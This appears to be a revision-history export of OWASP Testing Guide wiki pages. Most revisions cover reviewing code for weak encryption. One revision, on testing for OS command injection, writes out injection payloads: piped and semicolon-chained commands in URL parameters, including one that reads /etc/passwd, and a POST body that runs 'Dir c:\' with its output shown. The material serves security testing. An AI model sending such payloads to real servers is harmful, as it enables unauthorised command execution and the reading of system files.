* Search for the following keyword to check if any weak encryption algorithm is used.
MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB

* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm.

SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)
SecretKeySpec(byte[] key, int offset, int len, String algorithm)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");

* For RSA encryption, the following padding mode are suggested.
RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)
RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)

* Search for "ECB", it's not allowed to be used in padding.

* Review if different IV (initial Vector) is used.
// Use a different IV value for every encryption
byte[] newIv = ...;
s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...

* Search for "IvParameterSpec", check if the IV value is generated differently and randomly.

IvParameterSpec iv = new IvParameterSpec(randBytes);
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, iv);

* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:

MessageDigest md5 = MessageDigest.getInstance("MD5");

* For signature, SHA1 and MD5 should not be used. For example:
Signature sig = Signature.getInstance("SHA1withRSA");

* Search for "PBKDF2". To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.
The iterations should be over 10000, and the salt value should be generated as random value.

private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}

* Hard-coded senstive information
User related keywords: name, root, su, superuser, login, username, uid
Key related keywords: public key, AK, SK, secret Key, private key, passwd, password, pwd, share key, cryto, base64
Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey

== Tools ==
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.
CWE-261: Weak Cryptography for Passwords
CWE-323: Reusing a Nonce, Key Pair in Encryption.
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-547: Use of Hard-coded, Security-relevant Constants
CWE-780 Use of RSA Algorithm without OAEP

== References ==
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html
* IV https://en.wikipedia.org/wiki/Initialization_vector
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding
* [[Cryptographic Storage Cheat Sheet]]
* [[Password Storage Cheat Sheet]]
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms
* [[Insecure Randomness]]
* [[Insufficient Entropy]]
* [[Insufficient Session-ID Length]]
* [[Use of hard-coded cryptographic key]]
* [[Using a broken or risky cryptographic algorithm]]
* [[Testing for SSL-TLS (OWASP-CM-001)]]
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html
* ISO 18033-1:2015 – Encryption Algorithms
* ISO 18033-2:2015 – Asymmetric Ciphers
* ISO 18033-3:2015 – Block Ciphers
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html
* PBKDF2 IETF RFC 2898 and NIST SP 800-132
* HMAC https://www.ietf.org/rfc/rfc2104.txt

= Authors and Primary Editors =
Tony Hsu - hsiang_chih[at]yahoo.com

Testing for Weak Encryption (OTG-CRYPST-004)

2017-07-14T02:09:18Z

Tony Hsu HsiangChih: /* References */

== Summary ==
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4.

In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption.

The testing guide is trying to provide a guideline how to identify the weak encryption and hash.

== How to Test ==

=== Basic Security Checklist ===
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, "java.util.Random" is considered a weak random number generator. "java.security.SecureRandom" should be used instead of "java.util.Random".
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.
* When uses of RSA in signature, PSS padding is recommended.
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)
* Minimum Key length requirement:
Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
Message Integrity: HMAC-SHA2
Message Hash: SHA2 256 bits
Assymetric encryption: RSA 2048 bits
Symmetric-key algorithm: AES 128 bits
Password Hashing: PBKDF2, Scrypt, Bcrypt
ECDH、ECDSA: 256 bits
* Uses of SSH, CBC mode should not be used.
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.

=== Source Code Review ===
* Search for the following keyword to check if any weak encryption algorithm is used.
MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB

* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm.

SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)
SecretKeySpec(byte[] key, int offset, int len, String algorithm)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");

* For RSA encryption, the following padding mode are suggested.
RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)
RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)

* Search for "ECB", it's not allowed to be used in padding.

* Review if different IV (initial Vector) is used.
// Use a different IV value for every encryption
byte[] newIv = ...;
s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...

* Search for "IvParameterSpec", check if the IV value is generated differently and randomly.

IvParameterSpec iv = new IvParameterSpec(randBytes);
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, iv);

* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:

MessageDigest md5 = MessageDigest.getInstance("MD5");

* For signature, SHA1 and MD5 should not be used. For example:
Signature sig = Signature.getInstance("SHA1withRSA");

* Search for "PBKDF2". To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.
The iterations should be over 10000, and the salt value should be generated as random value.

private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}

* Hard-coded senstive information
User related keywords: name, root, su, superuser, login, username, uid
Key related keywords: public key, AK, SK, secret Key, private key, passwd, password, pwd, share key, cryto, base64
Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey

== Tools ==
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.
CWE-261: Weak Cryptography for Passwords
CWE-323: Reusing a Nonce, Key Pair in Encryption.
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-547: Use of Hard-coded, Security-relevant Constants
CWE-780 Use of RSA Algorithm without OAEP

== References ==
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html
* IV https://en.wikipedia.org/wiki/Initialization_vector
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding
* [[Cryptographic Storage Cheat Sheet]]
* [[Password Storage Cheat Sheet]]
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms
* [[Insecure Randomness]]
* [[Insufficient Entropy]]
* [[Insufficient Session-ID Length]]
* [[Use of hard-coded cryptographic key]]
* [[Using a broken or risky cryptographic algorithm]]
* [[Testing for SSL-TLS (OWASP-CM-001)]]
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html
* ISO 18033-1:2015 – Encryption Algorithms
* ISO 18033-2:2015 – Asymmetric Ciphers
* ISO 18033-3:2015 – Block Ciphers
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html
* PBKDF2 IETF RFC 2898 and NIST SP 800-132

= Authors and Primary Editors =
Tony Hsu - hsiang_chih[at]yahoo.com

Testing for Weak Encryption (OTG-CRYPST-004)

2017-07-06T03:04:11Z

Tony Hsu HsiangChih: /* Source Code Review */

== Summary ==
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4.

In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption.

The testing guide is trying to provide a guideline how to identify the weak encryption and hash.

== How to Test ==

=== Basic Security Checklist ===
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, "java.util.Random" is considered a weak random number generator. "java.security.SecureRandom" should be used instead of "java.util.Random".
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.
* When uses of RSA in signature, PSS padding is recommended.
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)
* Minimum Key length requirement:
Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
Message Integrity: HMAC-SHA2
Message Hash: SHA2 256 bits
Assymetric encryption: RSA 2048 bits
Symmetric-key algorithm: AES 128 bits
Password Hashing: PBKDF2, Scrypt, Bcrypt
ECDH、ECDSA: 256 bits
* Uses of SSH, CBC mode should not be used.
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.

=== Source Code Review ===
* Search for the following keyword to check if any weak encryption algorithm is used.
MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB

* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm.

SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)
SecretKeySpec(byte[] key, int offset, int len, String algorithm)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");

* For RSA encryption, the following padding mode are suggested.
RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)
RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)

* Search for "ECB", it's not allowed to be used in padding.

* Review if different IV (initial Vector) is used.
// Use a different IV value for every encryption
byte[] newIv = ...;
s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...

* Search for "IvParameterSpec", check if the IV value is generated differently and randomly.

IvParameterSpec iv = new IvParameterSpec(randBytes);
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, iv);

* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:

MessageDigest md5 = MessageDigest.getInstance("MD5");

* For signature, SHA1 and MD5 should not be used. For example:
Signature sig = Signature.getInstance("SHA1withRSA");

* Search for "PBKDF2". To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.
The iterations should be over 10000, and the salt value should be generated as random value.

private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}

* Hard-coded senstive information
User related keywords: name, root, su, superuser, login, username, uid
Key related keywords: public key, AK, SK, secret Key, private key, passwd, password, pwd, share key, cryto, base64
Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey

== Tools ==
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.
CWE-261: Weak Cryptography for Passwords
CWE-323: Reusing a Nonce, Key Pair in Encryption.
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-547: Use of Hard-coded, Security-relevant Constants
CWE-780 Use of RSA Algorithm without OAEP

== References ==
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html
* IV https://en.wikipedia.org/wiki/Initialization_vector
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding
* [[Cryptographic Storage Cheat Sheet]]
* [[Password Storage Cheat Sheet]]
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms
* [[Insecure Randomness]]
* [[Insufficient Entropy]]
* [[Insufficient Session-ID Length]]
* [[Use of hard-coded cryptographic key]]
* [[Using a broken or risky cryptographic algorithm]]
* [[Testing for SSL-TLS (OWASP-CM-001)]]
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html
* ISO 18033-1:2015 – Encryption Algorithms
* ISO 18033-2:2015 – Asymmetric Ciphers
* ISO 18033-3:2015 – Block Ciphers
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html

= Authors and Primary Editors =
Tony Hsu - hsiang_chih[at]yahoo.com

Testing for Weak Encryption (OTG-CRYPST-004)

2017-05-12T01:55:10Z

Tony Hsu HsiangChih: /* References */

== Summary ==
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4.

In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption.

The testing guide is trying to provide a guideline how to identify the weak encryption and hash.

== How to Test ==

=== Basic Security Checklist ===
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, "java.util.Random" is considered a weak random number generator. "java.security.SecureRandom" should be used instead of "java.util.Random".
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.
* When uses of RSA in signature, PSS padding is recommended.
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)
* Minimum Key length requirement:
Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
Message Integrity: HMAC-SHA2
Message Hash: SHA2 256 bits
Assymetric encryption: RSA 2048 bits
Symmetric-key algorithm: AES 128 bits
Password Hashing: PBKDF2, Scrypt, Bcrypt
ECDH、ECDSA: 256 bits
* Uses of SSH, CBC mode should not be used.
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.

=== Source Code Review ===
* Search for the following keyword to check if any weak encryption algorithm is used.
MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB

* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. For example,

SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)
SecretKeySpec(byte[] key, int offset, int len, String algorithm)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");

* For RSA encryption, the following padding mode are suggested.
RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)
RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)

* Search for "ECB", it's not allowed to be used in padding.

* Review if different IV (initial Vector) is used.
// Use a different IV value for every encryption
byte[] newIv = ...;
s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...

* Search for "IvParameterSpec", check if the IV value is generated differently and randomly.

IvParameterSpec iv = new IvParameterSpec(randBytes);
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, iv);

* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:

MessageDigest md5 = MessageDigest.getInstance("MD5");

* For signature, SHA1 and MD5 should not be used. For example:
Signature sig = Signature.getInstance("SHA1withRSA");

* Search for "PBKDF2". To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.
The iterations should be over 10000, and the salt value should be generated as random value.

private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}

* Hard-coded senstive information
User related keywords: name, root, su, superuser, login, username, uid
Key related keywords: public key, AK, SK, secret Key, private key, passwd, password, pwd, share key, cryto, base64
Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey

== Tools ==
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.
CWE-261: Weak Cryptography for Passwords
CWE-323: Reusing a Nonce, Key Pair in Encryption.
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-547: Use of Hard-coded, Security-relevant Constants
CWE-780 Use of RSA Algorithm without OAEP

== References ==
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html
* IV https://en.wikipedia.org/wiki/Initialization_vector
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding
* [[Cryptographic Storage Cheat Sheet]]
* [[Password Storage Cheat Sheet]]
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms
* [[Insecure Randomness]]
* [[Insufficient Entropy]]
* [[Insufficient Session-ID Length]]
* [[Use of hard-coded cryptographic key]]
* [[Using a broken or risky cryptographic algorithm]]
* [[Testing for SSL-TLS (OWASP-CM-001)]]
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html
* ISO 18033-1:2015 – Encryption Algorithms
* ISO 18033-2:2015 – Asymmetric Ciphers
* ISO 18033-3:2015 – Block Ciphers
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html

= Authors and Primary Editors =
Tony Hsu - hsiang_chih[at]yahoo.com

Testing for Command Injection (OTG-INPVAL-013)

2017-05-09T00:13:34Z

Tony Hsu HsiangChih:

{{Template:OWASP Testing Guide v4}}

== Summary ==
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.

OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.

== How to Test ==
When viewing a file in a web application, the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the file name.

Example URL before alteration: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=user1.txt</nowiki> 

Example URL modified: 

<nowiki>http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|</nowiki> 

This will execute the command “/bin/ls”. 

Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon
 

Example: 
<nowiki>http://sensitive/something.php?dir=%3Bcat%20/etc/passwd</nowiki> 

'''Example''' 
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf
</pre>

In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:

<pre>
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
</pre>

If the application doesn't validate the request, we can obtain the following result:
<pre>
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
</pre>

In this case, we have successfully performed an OS injection attack.

== Special Characters for Comand Injection ==
The following special character can be used for command injection such as | ; & $ > < ` \ !
* cmd1|cmd2 : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.

* cmd1;cmd2 : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.
* cmd1||cmd2 : Command 2 will only be executed if command 1 execution fails.
* cmd1&&cmd2 : Command 2 will only be executed if command 1 execution succeeds.
* $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' > test.sh)
* 'cmd' : It's used to execute specific command. For example, 'whoami'
* >(cmd): <(ls)
* <(cmd): >(ls)

== Code Review Dangerous API ==
Be aware of the uses of following API as it may introduce the command injeciton risks.

Java
* Runtime.exec()
C/C++
* system

* exec

* ShellExecute
Python
* exec

* eval

* os.system
* os.popen
* subprocess.popen
* subprocess.call
PHP
* system
* shell_exec
* exec
* proc_open
* eval 

== Remediation ==
===Sanitization===
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters or command list should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.

Genereal blacklist to be included for commannd injection can be | ; & $ > < ' \ ! >> #

Escape or filter special characters for windows, ( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , ` Escape or filter special characters for Linux, { } ( ) < > & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , `

===Permissions===
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view

== Tools ==
* OWASP [[OWASP WebScarab Project |WebScarab]]
* OWASP [[OWASP WebGoat Project|WebGoat]]
* [https://github.com/commixproject/commix Commix]

== References ==
* http://www.securityfocus.com/infocus/1709
* http://projects.webappsec.org/w/page/13246950/OS%20Commanding
* https://cwe.mitre.org/data/definitions/78.html
* https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=2130132

Testing for Weak Encryption (OTG-CRYPST-004)

2017-05-08T07:16:20Z

Tony Hsu HsiangChih:

== Summary ==
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4.

In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption.

The testing guide is trying to provide a guideline how to identify the weak encryption and hash.

== How to Test ==

=== Basic Security Checklist ===
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, "java.util.Random" is considered a weak random number generator. "java.security.SecureRandom" should be used instead of "java.util.Random".
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.
* When uses of RSA in signature, PSS padding is recommended.
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)
* Minimum Key length requirement:
Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
Message Integrity: HMAC-SHA2
Message Hash: SHA2 256 bits
Assymetric encryption: RSA 2048 bits
Symmetric-key algorithm: AES 128 bits
Password Hashing: PBKDF2, Scrypt, Bcrypt
ECDH、ECDSA: 256 bits
* Uses of SSH, CBC mode should not be used.
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.

=== Source Code Review ===
* Search for the following keyword to check if any weak encryption algorithm is used.
MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB

* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. For example,

SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)
SecretKeySpec(byte[] key, int offset, int len, String algorithm)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");

* For RSA encryption, the following padding mode are suggested.
